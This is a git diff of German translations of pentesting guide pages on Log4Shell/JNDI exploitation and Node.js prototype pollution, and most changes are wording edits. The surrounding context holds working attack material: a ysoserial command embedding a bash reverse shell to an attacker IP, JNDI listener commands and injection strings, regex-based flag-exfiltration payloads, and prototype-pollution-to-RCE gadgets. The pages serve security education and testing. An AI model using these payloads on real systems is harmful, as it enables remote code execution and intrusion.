> Hosts, die auf JDK-Versionen über 6u141, 7u131 oder 8u121 laufen, sind gegen den LDAP-Klassenladeangriffsvektor geschützt. Dies liegt an der standardmäßigen Deaktivierung von `com.sun.jndi.ldap.object.trustURLCodebase`, die verhindert, dass JNDI eine Remote-Codebasis über LDAP lädt. Es ist jedoch wichtig zu beachten, dass diese Versionen **nicht gegen den Deserialisierungsangriffsvektor geschützt sind**.
>
-> Für Angreifer, die darauf abzielen, diese höheren JDK-Versionen auszunutzen, ist es notwendig, ein **vertrauenswürdiges Gadget** innerhalb der Java-Anwendung zu nutzen. Werkzeuge wie ysoserial oder JNDIExploit werden häufig zu diesem Zweck verwendet. Im Gegensatz dazu ist das Ausnutzen niedrigerer JDK-Versionen relativ einfacher, da diese Versionen manipuliert werden können, um beliebige Klassen zu laden und auszuführen.
+> Für Angreifer, die darauf abzielen, diese höheren JDK-Versionen auszunutzen, ist es notwendig, ein **vertrauenswürdiges Gadget** innerhalb der Java-Anwendung zu nutzen. Werkzeuge wie ysoserial oder JNDIExploit werden häufig zu diesem Zweck verwendet. Im Gegensatz dazu ist es relativ einfacher, niedrigere JDK-Versionen auszunutzen, da diese Versionen manipuliert werden können, um beliebige Klassen zu laden und auszuführen.
>
> Für **weitere Informationen** (_wie Einschränkungen bei RMI- und CORBA-Vektoren_) **überprüfen Sie den vorherigen Abschnitt zur JNDI-Namensreferenz** oder [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
@@ -241,14 +241,14 @@ ${jndi:ldap://:1389/Exploit}
### RCE - **JNDIExploit**
-> [!HINWEIS]
-> Beachten Sie, dass der Autor dieses Projekt aus irgendeinem Grund nach der Entdeckung von log4shell von GitHub entfernt hat. Sie können eine zwischengespeicherte Version unter [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) finden, aber wenn Sie die Entscheidung des Autors respektieren möchten, verwenden Sie eine andere Methode, um diese Schwachstelle auszunutzen.
+> [!NOTE]
+> Beachten Sie, dass der Autor aus irgendeinem Grund dieses Projekt nach der Entdeckung von log4shell von GitHub entfernt hat. Sie können eine zwischengespeicherte Version unter [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) finden, aber wenn Sie die Entscheidung des Autors respektieren möchten, verwenden Sie eine andere Methode, um diese Schwachstelle auszunutzen.
>
-> Darüber hinaus können Sie den Quellcode nicht in der Wayback Machine finden, also analysieren Sie entweder den Quellcode oder führen Sie die Jar-Datei aus, in dem Wissen, dass Sie nicht wissen, was Sie ausführen.
+> Darüber hinaus können Sie den Quellcode nicht in der Wayback Machine finden, also analysieren Sie entweder den Quellcode oder führen Sie die JAR-Datei aus, in dem Wissen, dass Sie nicht wissen, was Sie ausführen.
Für dieses Beispiel können Sie einfach diesen **anfälligen Webserver für log4shell** auf Port 8080 ausführen: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_im README finden Sie, wie man ihn ausführt_). Diese anfällige App protokolliert mit einer anfälligen Version von log4shell den Inhalt des HTTP-Anforderungsheaders _X-Api-Version_.
-Dann können Sie die **JNDIExploit** Jar-Datei herunterladen und sie mit folgendem Befehl ausführen:
+Dann können Sie die **JNDIExploit** JAR-Datei herunterladen und sie mit folgendem Befehl ausführen:
```bash
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
@@ -303,13 +303,13 @@ Mit **ysoserial** oder [**ysoserial-modified**](https://github.com/pimps/ysoseri
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```
-Verwenden Sie [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit), um **JNDI-Links** zu generieren, bei denen der Exploit auf Verbindungen von den anfälligen Maschinen wartet. Sie können **verschiedene Exploits, die automatisch vom JNDI-Exploit-Kit generiert werden können**, oder sogar Ihre **eigenen Deserialisierungs-Payloads** (von Ihnen oder ysoserial generiert) bereitstellen.
+Verwenden Sie [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit), um **JNDI-Links** zu generieren, bei denen der Exploit auf Verbindungen von den anfälligen Maschinen wartet. Sie können **verschiedene Exploits, die automatisch generiert werden können**, vom JNDI-Exploit-Kit bereitstellen oder sogar Ihre **eigenen Deserialisierungs-Payloads** (von Ihnen oder ysoserial generiert).
```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```
.png>)
-Jetzt können Sie einen generierten JNDI-Link einfach verwenden, um die Schwachstelle auszunutzen und eine **Reverse-Shell** zu erhalten, indem Sie an eine verwundbare Version von log4j senden: **`${ldap://10.10.14.10:1389/generated}`**
+Jetzt können Sie einen generierten JNDI-Link einfach verwenden, um die Schwachstelle auszunutzen und eine **Reverse Shell** zu erhalten, indem Sie an eine verwundbare Version von log4j senden: **`${ldap://10.10.14.10:1389/generated}`**
### Umgehungen
```java
@@ -347,13 +347,13 @@ In diesem [**CTF-Bericht**](https://intrigus.org/research/2022/07/18/google-ctf-
Die [**Sicherheitsseite**](https://logging.apache.org/log4j/2.x/security.html) von Log4j enthält einige interessante Sätze:
-> Ab Version 2.16.0 (für Java 8) wurde die **Nachrichtenabfrage-Funktion vollständig entfernt**. **Abfragen in der Konfiguration funktionieren weiterhin**. Darüber hinaus deaktiviert Log4j jetzt standardmäßig den Zugriff auf JNDI. JNDI-Abfragen in der Konfiguration müssen jetzt ausdrücklich aktiviert werden.
+> Ab Version 2.16.0 (für Java 8) wurde die **Nachrichtenabfrage-Funktion vollständig entfernt**. **Abfragen in der Konfiguration funktionieren weiterhin**. Darüber hinaus deaktiviert Log4j jetzt standardmäßig den Zugriff auf JNDI. JNDI-Abfragen in der Konfiguration müssen jetzt explizit aktiviert werden.
> Ab Version 2.17.0 (und 2.12.3 und 2.3.1 für Java 7 und Java 6) werden **nur Abfragezeichenfolgen in der Konfiguration rekursiv erweitert**; bei jeder anderen Verwendung wird nur die oberste Abfrage aufgelöst, und alle verschachtelten Abfragen werden nicht aufgelöst.
Das bedeutet, dass Sie standardmäßig **vergessen können, einen `jndi`-Exploit zu verwenden**. Darüber hinaus müssen Sie sie konfigurieren, um **rekursive Abfragen** durchzuführen.
-Zum Beispiel wurde in diesem CTF dies in der Datei log4j2.xml konfiguriert:
+Zum Beispiel war dies in diesem CTF in der Datei log4j2.xml konfiguriert:
```xml
@@ -373,7 +373,7 @@ Im CTF **konnten Sie nicht auf stderr** der Java-Anwendung mit log4J zugreifen,
### Conversion Patterns Exceptions
-Nur um es zu erwähnen, könnten Sie auch neue [**Conversion Patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) injizieren und Ausnahmen auslösen, die in `stdout` protokolliert werden. Zum Beispiel:
+Nur um es zu erwähnen, Sie könnten auch neue [**Conversion Patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) injizieren und Ausnahmen auslösen, die in `stdout` protokolliert werden. Zum Beispiel:
.png>)
@@ -381,12 +381,12 @@ Dies wurde als nicht nützlich erachtet, um Daten innerhalb der Fehlermeldung zu
### Conversion Patterns Regexes
-Es ist jedoch möglich, einige **Conversion Patterns, die Regexes unterstützen**, zu verwenden, um Informationen aus einer Abfrage zu exfiltrieren, indem man Regexes verwendet und **binäre Suche** oder **zeitbasierte** Verhaltensweisen ausnutzt.
+Es ist jedoch möglich, einige **Conversion Patterns, die Regexes unterstützen**, zu verwenden, um Informationen aus einer Abfrage durch Verwendung von Regexes und Missbrauch von **binärer Suche** oder **zeitbasierten** Verhaltensweisen zu exfiltrieren.
- **Binäre Suche über Ausnahme-Nachrichten**
Das Conversion Pattern **`%replace`** kann verwendet werden, um **Inhalte** aus einem **String** sogar unter Verwendung von **Regexes** zu **ersetzen**. Es funktioniert so: `replace{pattern}{regex}{substitution}`\
-Durch das Ausnutzen dieses Verhaltens könnten Sie **eine Ausnahme auslösen, wenn das Regex etwas im String übereinstimmte** (und keine Ausnahme, wenn es nicht gefunden wurde) wie folgt:
+Durch den Missbrauch dieses Verhaltens könnten Sie **eine Ausnahme auslösen, wenn das Regex etwas im String übereinstimmte** (und keine Ausnahme, wenn es nicht gefunden wurde) wie folgt:
```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
@@ -397,7 +397,7 @@ Durch das Ausnutzen dieses Verhaltens könnten Sie **eine Ausnahme auslösen, we
Wie im vorherigen Abschnitt erwähnt, unterstützt **`%replace`** **regexes**. Es ist also möglich, Payloads von der [**ReDoS-Seite**](../regular-expression-denial-of-service-redos.md) zu verwenden, um einen **Timeout** auszulösen, falls das Flag gefunden wird.\
Ein Beispiel für eine Payload wie `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` würde einen **Timeout** in diesem CTF auslösen.
-In diesem [**Writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) wurde anstelle eines ReDoS-Angriffs ein **Amplifikationsangriff** verwendet, um einen Zeitunterschied in der Antwort zu verursachen:
+In diesem [**Writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) wurde anstelle eines ReDoS-Angriffs ein **Amplification-Angriff** verwendet, um einen Zeitunterschied in der Antwort zu verursachen:
> ```
> /%replace{
@@ -414,7 +414,6 @@ In diesem [**Writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
-> }{#}{######################################################}
> ```
>
> Wenn das Flag mit `flagGuess` beginnt, wird das gesamte Flag durch 29 `#`-Zeichen ersetzt (ich habe dieses Zeichen verwendet, da es wahrscheinlich nicht Teil des Flags ist). **Jedes der resultierenden 29 `#`-Zeichen wird dann durch 54 `#`-Zeichen ersetzt**. Dieser Prozess wird **6 Mal** wiederholt, was zu insgesamt ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-Zeichen führt!**
diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
index 57c275c43..53bfaf001 100644
--- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
+++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
@@ -41,7 +41,7 @@ Funktionen wie `toString` und `valueOf` können verändert werden, um ihr Verhal
In der prototypbasierten Programmierung werden Eigenschaften/Methoden von Objekten von Klassen geerbt. Diese Klassen werden erstellt, indem Eigenschaften/Methoden entweder zu einer Instanz einer anderen Klasse oder zu einem leeren Objekt hinzugefügt werden.
-Es sollte beachtet werden, dass, wenn eine Eigenschaft zu einem Objekt hinzugefügt wird, das als Prototyp für andere Objekte dient (wie `myPersonObj`), die erbberechtigten Objekte Zugriff auf diese neue Eigenschaft erhalten. Diese Eigenschaft wird jedoch nicht automatisch angezeigt, es sei denn, sie wird ausdrücklich aufgerufen.
+Es sollte beachtet werden, dass, wenn eine Eigenschaft zu einem Objekt hinzugefügt wird, das als Prototyp für andere Objekte dient (wie `myPersonObj`), die erbenenden Objekte Zugriff auf diese neue Eigenschaft erhalten. Diese Eigenschaft wird jedoch nicht automatisch angezeigt, es sei denn, sie wird ausdrücklich aufgerufen.
## \_\_proto\_\_ Verschmutzung
@@ -56,7 +56,7 @@ this.model = model
}
var car1 = new Vehicle("Tesla Model S")
```
-Der Zugriff auf das Objektprototyp ist möglich über:
+Der Zugriff auf das Objekt-Prototyp ist möglich über:
```javascript
car1.__proto__.__proto__
Vehicle.__proto__.__proto__
@@ -76,7 +76,7 @@ car1.announce() // Outputs "Beep beep!"
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true
```
-## prototype pollution
+## Prototype-Verschmutzung
Für ein Szenario, in dem die Verwendung von `__proto__` eingeschränkt ist, ist die Modifizierung des Prototyps einer Funktion eine Alternative:
```javascript
@@ -177,7 +177,7 @@ Das einfachste Beispiel besteht darin, einen Wert zu einem **undefinierten Attri
```javascript
if (user.admin) {
```
-Wenn das Attribut **`admin` undefiniert** ist, ist es möglich, eine PP auszunutzen und es mit etwas wie auf True zu setzen:
+Wenn das Attribut **`admin` undefiniert ist**, ist es möglich, eine PP auszunutzen und es mit etwas wie Folgendem auf True zu setzen:
```javascript
Object.prototype.isAdmin = true
let user = {}
@@ -188,7 +188,7 @@ Der Mechanismus dahinter besteht darin, Eigenschaften so zu manipulieren, dass e
Die Bedingungen, unter denen dieser Angriff erfolgreich ausgeführt werden kann, wie in einer bestimmten [Studie](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf) dargelegt, umfassen:
- Durchführung eines rekursiven Mergings.
-- Definition von Eigenschaften basierend auf einem Pfad.
+- Definieren von Eigenschaften basierend auf einem Pfad.
- Klonen von Objekten.
### Override-Funktion
@@ -313,9 +313,9 @@ requests.get(TARGET_URL)
```
#### Pug-Sicherheitsanfälligkeit
-Pug, ein weiterer Template-Engine, ist einem ähnlichen Risiko der Prototype Pollution ausgesetzt. Detaillierte Informationen sind in der Diskussion über [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug) verfügbar.
+Pug, eine weitere Template-Engine, ist einem ähnlichen Risiko der Prototypenverschmutzung ausgesetzt. Detaillierte Informationen sind in der Diskussion über [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug) verfügbar.
-Beispiel für Prototype Pollution in Pug:
+Beispiel für Prototypenverschmutzung in Pug:
```python
import requests
@@ -334,19 +334,19 @@ requests.get(TARGET_URL)
```
### Präventive Maßnahmen
-Um das Risiko der Prototyp-Verschmutzung zu verringern, können die folgenden Strategien angewendet werden:
+Um das Risiko von Prototype Pollution zu verringern, können die folgenden Strategien angewendet werden:
-1. **Objekt-Unveränderlichkeit**: Das `Object.prototype` kann durch Anwendung von `Object.freeze` unveränderlich gemacht werden.
+1. **Objektunveränderlichkeit**: Das `Object.prototype` kann durch Anwendung von `Object.freeze` unveränderlich gemacht werden.
2. **Eingangsvalidierung**: JSON-Eingaben sollten rigoros gegen das Schema der Anwendung validiert werden.
3. **Sichere Merge-Funktionen**: Die unsichere Verwendung von rekursiven Merge-Funktionen sollte vermieden werden.
4. **Prototyplose Objekte**: Objekte ohne Prototyp-Eigenschaften können mit `Object.create(null)` erstellt werden.
5. **Verwendung von Map**: Anstelle von `Object` sollte `Map` zur Speicherung von Schlüssel-Wert-Paaren verwendet werden.
-6. **Bibliotheksaktualisierungen**: Sicherheitsupdates können durch regelmäßige Aktualisierungen von Bibliotheken integriert werden.
-7. **Linter und statische Analysetools**: Verwenden Sie Tools wie ESLint mit geeigneten Plugins, um Prototyp-Verschmutzungsanfälligkeiten zu erkennen und zu verhindern.
-8. **Code-Überprüfungen**: Führen Sie gründliche Code-Überprüfungen durch, um potenzielle Risiken im Zusammenhang mit Prototyp-Verschmutzung zu identifizieren und zu beheben.
-9. **Sicherheitsschulung**: Schulen Sie Entwickler über die Risiken der Prototyp-Verschmutzung und bewährte Praktiken für das Schreiben sicherer Codes.
+6. **Bibliotheksupdates**: Sicherheitsupdates können durch regelmäßige Aktualisierung von Bibliotheken integriert werden.
+7. **Linter und statische Analysetools**: Verwenden Sie Tools wie ESLint mit geeigneten Plugins, um Prototype Pollution-Schwachstellen zu erkennen und zu verhindern.
+8. **Code-Reviews**: Führen Sie gründliche Code-Reviews durch, um potenzielle Risiken im Zusammenhang mit Prototype Pollution zu identifizieren und zu beheben.
+9. **Sicherheitsschulung**: Schulen Sie Entwickler über die Risiken von Prototype Pollution und bewährte Praktiken zum Schreiben sicherer Codes.
10. **Vorsicht bei der Verwendung von Bibliotheken**: Seien Sie vorsichtig bei der Verwendung von Drittanbieterbibliotheken. Bewerten Sie deren Sicherheitslage und überprüfen Sie deren Code, insbesondere bei denen, die Objekte manipulieren.
-11. **Laufzeitschutz**: Setzen Sie Laufzeitschutzmechanismen ein, wie die Verwendung von sicherheitsfokussierten npm-Paketen, die Prototyp-Verschmutzungsangriffe erkennen und verhindern können.
+11. **Laufzeitschutz**: Setzen Sie Laufzeitschutzmechanismen ein, wie die Verwendung von sicherheitsfokussierten npm-Paketen, die Prototype Pollution-Angriffe erkennen und verhindern können.
## Referenzen
diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
index bf297a38e..0472b83d2 100644
--- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
+++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
@@ -6,7 +6,7 @@
Die Werkzeuge [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **und** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) können verwendet werden, um **Prototype Pollution-Schwachstellen** zu **finden**.
-Darüber hinaus können Sie auch die **Browsererweiterung** [**PPScan**](https://github.com/msrkp/PPScan) verwenden, um die **Seiten**, die Sie **aufrufen**, automatisch auf Prototype Pollution-Schwachstellen zu **scannen**.
+Darüber hinaus können Sie auch die **Browsererweiterung** [**PPScan**](https://github.com/msrkp/PPScan) verwenden, um **automatisch** die **Seiten**, die Sie **aufrufen**, auf Prototype Pollution-Schwachstellen zu **scannen**.
### Debugging, wo eine Eigenschaft verwendet wird
```javascript
@@ -27,7 +27,7 @@ Für größere und komplexere Codebasen besteht eine einfache Methode zur Entdec
1. Verwenden Sie ein Tool, um eine Sicherheitsanfälligkeit zu identifizieren und einen Payload zu erhalten, der darauf ausgelegt ist, eine Eigenschaft im Konstruktor festzulegen. Ein Beispiel, das von ppmap bereitgestellt wird, könnte so aussehen: `constructor[prototype][ppmap]=reserved`.
2. Setzen Sie einen Haltepunkt in der ersten Zeile des JavaScript-Codes, die auf der Seite ausgeführt wird. Aktualisieren Sie die Seite mit dem Payload und pausieren Sie die Ausführung an diesem Haltepunkt.
-3. Während die JavaScript-Ausführung pausiert ist, führen Sie das folgende Skript in der JS-Konsole aus. Dieses Skript signalisiert, wann die 'ppmap'-Eigenschaft erstellt wird, was bei der Lokalisierung ihres Ursprungs hilft:
+3. Während die JavaScript-Ausführung pausiert ist, führen Sie das folgende Skript in der JS-Konsole aus. Dieses Skript signalisiert, wann die 'ppmap'-Eigenschaft erstellt wird, und hilft dabei, ihren Ursprung zu lokalisieren:
```javascript
function debugAccess(obj, prop, debugGet = true) {
var origValue = obj[prop]
@@ -46,9 +46,9 @@ origValue = val
debugAccess(Object.prototype, "ppmap")
```
-4. Navigiere zurück zum **Sources**-Tab und wähle „Script-Ausführung fortsetzen“. Das JavaScript wird wie erwartet weiter ausgeführt, und die 'ppmap'-Eigenschaft wird verschmutzt. Die bereitgestellte Snippet erleichtert die Identifizierung des genauen Standorts, an dem die 'ppmap'-Eigenschaft verschmutzt wird. Durch die Untersuchung des **Call Stack** können verschiedene Stacks beobachtet werden, in denen die Verschmutzung aufgetreten ist.
+4. Navigiere zurück zum **Sources**-Tab und wähle „Script-Ausführung fortsetzen“. Das JavaScript wird weiterhin ausgeführt, und die 'ppmap'-Eigenschaft wird wie erwartet verschmutzt. Die bereitgestellte Snippet erleichtert die Identifizierung des genauen Standorts, an dem die 'ppmap'-Eigenschaft verschmutzt wird. Durch die Untersuchung des **Call Stack** können verschiedene Stacks beobachtet werden, in denen die Verschmutzung aufgetreten ist.
-Bei der Entscheidung, welchen Stack man untersuchen soll, ist es oft nützlich, Stacks zu zielen, die mit JavaScript-Bibliotheksdateien verbunden sind, da die Prototypverschmutzung häufig innerhalb dieser Bibliotheken auftritt. Identifiziere den relevanten Stack, indem du seine Verbindung zu Bibliotheksdateien überprüfst (sichtbar auf der rechten Seite, ähnlich wie ein bereitgestelltes Bild zur Anleitung). In Szenarien mit mehreren Stacks, wie denen in den Zeilen 4 und 6, ist die logische Wahl der Stack in Zeile 4, da er das erste Auftreten der Verschmutzung darstellt und somit die Grundursache der Schwachstelle ist. Ein Klick auf den Stack führt dich zum verwundbaren Code.
+Bei der Entscheidung, welchen Stack man untersuchen soll, ist es oft nützlich, Stacks zu zielen, die mit JavaScript-Bibliotheksdateien verbunden sind, da die Prototypverschmutzung häufig innerhalb dieser Bibliotheken auftritt. Identifiziere den relevanten Stack, indem du seine Verbindung zu Bibliotheksdateien untersuchst (sichtbar auf der rechten Seite, ähnlich wie ein bereitgestelltes Bild zur Anleitung). In Szenarien mit mehreren Stacks, wie auf den Zeilen 4 und 6, ist die logische Wahl der Stack auf Zeile 4, da er das erste Auftreten der Verschmutzung darstellt und somit die Wurzelursache der Schwachstelle ist. Ein Klick auf den Stack führt dich zum verwundbaren Code.

@@ -56,7 +56,7 @@ Bei der Entscheidung, welchen Stack man untersuchen soll, ist es oft nützlich,
Das Gadget ist der **Code, der missbraucht wird, sobald eine PP-Schwachstelle entdeckt wird**.
-Wenn die Anwendung einfach ist, können wir **nach** **Schlüsselwörtern** wie **`srcdoc/innerHTML/iframe/createElement`** suchen und den Quellcode überprüfen, um festzustellen, ob er zu einer **JavaScript-Ausführung führt**. Manchmal finden die erwähnten Techniken überhaupt keine Gadgets. In diesem Fall zeigt eine reine Quellcodeüberprüfung einige schöne Gadgets wie das folgende Beispiel.
+Wenn die Anwendung einfach ist, können wir **nach** **Schlüsselwörtern** wie **`srcdoc/innerHTML/iframe/createElement`** suchen und den Quellcode überprüfen, um zu sehen, ob er zu einer **JavaScript-Ausführung führt**. Manchmal finden die erwähnten Techniken möglicherweise überhaupt keine Gadgets. In diesem Fall zeigt eine reine Quellcodeüberprüfung einige schöne Gadgets wie das folgende Beispiel.
### Beispiel für das Finden eines PP-Gadgets im Mithil-Bibliothekscode
@@ -69,7 +69,7 @@ Wenn die Anwendung einfach ist, können wir **nach** **Schlüsselwörtern** wie
## HTML-Sanitizer-Umgehung über PP
-[**Diese Forschung**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) zeigt PP-Gadgets, die verwendet werden können, um die **Sanitierungen** zu **umgehen**, die von einigen HTML-Sanitizer-Bibliotheken bereitgestellt werden:
+[**Diese Forschung**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) zeigt PP-Gadgets, die verwendet werden können, um **die Sanitierungen** zu **umgehen**, die von einigen HTML-Sanitizer-Bibliotheken bereitgestellt werden:
- **sanitize-html**
diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md
index ef684eddc..d55cfd396 100644
--- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md
+++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md
@@ -24,7 +24,7 @@ Durch das **Verschmutzen** der **`body`** und **`_body`** Eigenschaften ist es m
### UTF7 rendern
-Es ist möglich, dass Express **UTF-7-Inhalt rendert mit**:
+Es ist möglich, dass Express **UTF-7-Inhalte rendert mit**:
```json
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
```
@@ -50,7 +50,7 @@ Es erfordert, dass das **CORS-Modul installiert ist**.
### **OPTIONS-Methode**
-Mit dem folgenden Payload ist es möglich, eine **Methode aus einer OPTIONS-Antwort zu verbergen**:
+Mit dem folgenden Payload ist es möglich, **eine Methode aus einer OPTIONS-Antwort zu verbergen**:
```javascript
// Original reponse: POST,GET,HEAD
@@ -90,7 +90,7 @@ Darüber hinaus bietet in Szenarien, in denen eine Bibliothek wie Lodash verwend
### Punkte erlauben
Es gibt eine Option in Express, die es Ihnen ermöglicht, **Objekte aus Abfragezeichenfolgenparametern** zu **erstellen**.\
-Sie könnten es definitiv in einer Fehler-**Kette** verwenden, um eine **Prototype Pollution-Sicherheitsanfälligkeit** auszunutzen.
+Sie könnten es definitiv in einer Fehler-**kette** verwenden, um eine **Prototype Pollution-Sicherheitsanfälligkeit** auszunutzen.
```json
{ "__proto__": { "allowDots": true } }
```
diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md
index 7a16d0d3f..e72f88769 100644
--- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md
+++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md
@@ -41,7 +41,7 @@ var proc = fork("a_file.js")
**PP2RCE** bedeutet **Prototype Pollution zu RCE** (Remote Code Execution).
-Laut diesem [**Bericht**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wird, wenn ein **Prozess erzeugt** wird mit einer Methode aus **`child_process`** (wie `fork` oder `spawn` oder anderen), die Methode `normalizeSpawnArguments` aufgerufen, die ein **Prototype Pollution Gadget zur Erstellung neuer Umgebungsvariablen** ist:
+Laut diesem [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wenn ein **Prozess erstellt wird** mit einer Methode aus **`child_process`** (wie `fork` oder `spawn` oder anderen) ruft es die Methode `normalizeSpawnArguments` auf, die ein **Prototype Pollution Gadget zur Erstellung neuer Umgebungsvariablen** ist:
```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
@@ -67,7 +67,7 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
> [!WARNING]
> Beachten Sie, dass aufgrund der Funktionsweise der **`normalizeSpawnArguments`**-Funktion aus der **`child_process`**-Bibliothek von Node, wenn etwas aufgerufen wird, um eine **neue Umgebungsvariable** für den Prozess festzulegen, Sie einfach **alles verschmutzen** müssen.\
-> Wenn Sie beispielsweise `__proto__.avar="valuevar"` ausführen, wird der Prozess mit einer Variablen namens `avar` mit dem Wert `valuevar` gestartet.
+> Wenn Sie beispielsweise `__proto__.avar="valuevar"` tun, wird der Prozess mit einer Variablen namens `avar` mit dem Wert `valuevar` gestartet.
>
> Damit die **Umgebungsvariable die erste ist**, müssen Sie das **`.env`-Attribut** **verschmutzen** und (nur in einigen Methoden) wird diese Variable die **erste** sein (was den Angriff ermöglicht).
>
@@ -227,8 +227,8 @@ var proc = execFile("/usr/bin/node")
// Windows - not working
```
-Für **`execFile`** zu funktionieren, **MUSS** es **node** ausführen, damit die NODE_OPTIONS funktionieren.\
-Wenn es **nicht** **node** ausführt, müssen Sie herausfinden, wie Sie die **Ausführung** von dem, was es ausführt, **mit Umgebungsvariablen** ändern und diese setzen können.
+Für **`execFile`** zu funktionieren, **MUSS** es node ausführen, damit die NODE_OPTIONS funktionieren.\
+Wenn es **nicht** node ausführt, müssen Sie herausfinden, wie Sie die **Ausführung** von dem, was es ausführt, **mit Umgebungsvariablen** ändern und diese setzen können.
Die **anderen** Techniken **funktionieren** ohne diese Anforderung, da es **möglich ist,** **was ausgeführt wird** über Prototype Pollution zu modifizieren. (In diesem Fall, selbst wenn Sie `.shell` verschmutzen können, werden Sie nicht das verschmutzen, was ausgeführt wird).
@@ -467,8 +467,8 @@ In den vorherigen Beispielen haben Sie gesehen, wie man das Gadget auslöst; ein
### Kontrolle über einen require-Dateipfad
-In diesem [**anderen Bericht**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) kann der Benutzer den Dateipfad steuern, an dem ein **`require`** ausgeführt wird. In diesem Szenario muss der Angreifer nur **eine `.js`-Datei im System finden**, die **eine Spawn-Methode beim Importieren ausführt.**\
-Einige Beispiele für gängige Dateien, die eine Spawn-Funktion beim Importieren aufrufen, sind:
+In diesem [**anderen Bericht**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) kann der Benutzer den Dateipfad steuern, an dem ein **`require`** ausgeführt wird. In diesem Szenario muss der Angreifer nur **eine `.js`-Datei im System finden**, die **eine Spawn-Methode beim Import ausführt.**\
+Einige Beispiele für gängige Dateien, die eine Spawn-Funktion beim Import aufrufen, sind:
- /path/to/npm/scripts/changelog.js
- /opt/yarn-v1.22.19/preinstall.js
@@ -504,12 +504,12 @@ done
Wenn der Code jedoch ein Require nach der Prototyp-Verschmutzung ausführt, selbst wenn Sie **den Pfad**, der benötigt werden soll, **nicht kontrollieren**, können Sie **einen anderen erzwingen, indem Sie die Prototyp-Verschmutzung ausnutzen**. Selbst wenn die Codezeile wie `require("./a_file.js")` oder `require("bytes")` aussieht, wird es **das Paket erfordern, das Sie verschmutzt haben**.
-Daher, wenn ein Require nach Ihrer Prototyp-Verschmutzung und ohne Spawn-Funktion ausgeführt wird, ist dies der Angriff:
+Daher, wenn ein Require nach Ihrer Prototyp-Verschmutzung ausgeführt wird und keine Spawn-Funktion, ist dies der Angriff:
- Finden Sie eine **`.js`-Datei im System**, die beim **Require** **etwas mit `child_process` ausführt**
- Wenn Sie Dateien auf die Plattform hochladen können, die Sie angreifen, könnten Sie eine solche Datei hochladen
